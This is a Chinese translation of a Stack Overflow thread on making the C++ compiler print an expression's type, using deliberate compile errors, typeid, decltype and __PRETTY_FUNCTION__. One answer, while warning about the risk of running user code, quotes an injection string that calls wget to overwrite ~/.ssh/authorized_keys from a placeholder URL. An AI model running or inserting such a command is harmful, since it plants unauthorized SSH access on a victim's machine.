打印任意C ++表达式的类型

时间:2011-09-29 18:08:05

标签: c++

我有兴趣编写一个用于教学目的的工具,用于评估C ++表达式并打印其类型。从本质上讲,我的想法是我的学生可以输入任何表达式,程序会回显表达式的类型。是否有现有工具已经这样做了?如果没有,通过与现有编译器集成并调用其调试器或API,是否有一种非常简单的方法可以实现?例如,有人告诉我,Clang有一个相当完整的编译器API,也许有一些方法可以将一个字符串与相应的include指令一起传递给Clang并让它吐出一个类型?

我意识到如果今天没有什么可以接近的话,这可能是一个巨大的项目。我只是觉得它具有重要的教育价值,所以看起来值得一试。

4 个答案:

答案 0 :(得分:9)

我想出了一个受Ben Voigt评论启发的答案。只需制作一个错误,让编译器告诉你导致它的类型:

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

Result:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

此外,由于您只执行编译器,因此您非常安全。真的,不需要沙箱。如果除了“void foo<T>(T)未定义的引用”之外的任何其他内容,它就不是表达式。

[edit]你会如何将它放入工具中?简单,用宏的

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

现在使用$(CC) /D=(EXPR) TestHarness.cpp进行编译。每次都可以避免重建输入文件。

答案 1 :(得分:2)

MSalter's improvement上进一步改进:

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

结果(使用$user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

这避免了链接步骤。


原始答案:

C ++有typeid个关键字。从概念上讲,您只需将用户的表达式粘贴到某些样板文件中,如:

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

然后将该源文件传递给编译器,并运行它以获得答案。

实际上,要避免运行恶意代码会很困难。您需要使用某种类型的沙箱。或者非常小心确保没有不匹配的括号(你确实知道什么是三字母,对吗?)。

  

是的我知道typeid的论点没有被评估。但请$usercode1); system("wget -O ~/.ssh/authorized_keys some_url"

更好的选择是避免运行程序。使用框架(需要C ++ 11),如:

extern "C" decltype( $user_code )* the_value = 0;

您可以使用生成调试数据的选项运行编译器,然后使用例如一个dwarf2阅读器库,获取与the_value相关的符号类型信息,然后删除一级指针。

答案 2 :(得分:0)

这是使用__PRETTY_FUNCTION__在GCC和Clang中执行此操作的一种方法:

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

Output on GCC

my_class<int&, std::vector<double> > [20]

答案 3 :(得分:0)

我对编写用于教学目的的工具感兴趣,该工具可以评估C ++表达式并打印其类型。本质上,我的想法是我的学生可以键入任何表达式,并且程序将回显表达式的类型。是否有一个已有的工具已经在执行此操作?

这些天,有一种这样的工具-在线。但是,它只会做您不希望的产品。我说的是Matt Godbolt的Compiler Explorer

您的“程序”将如下所示:

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

现在,如果将123替换为C ++表达式,则会在编译器错误消息部分中get如下:

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

第一行有您想要的类型,在尖括号中。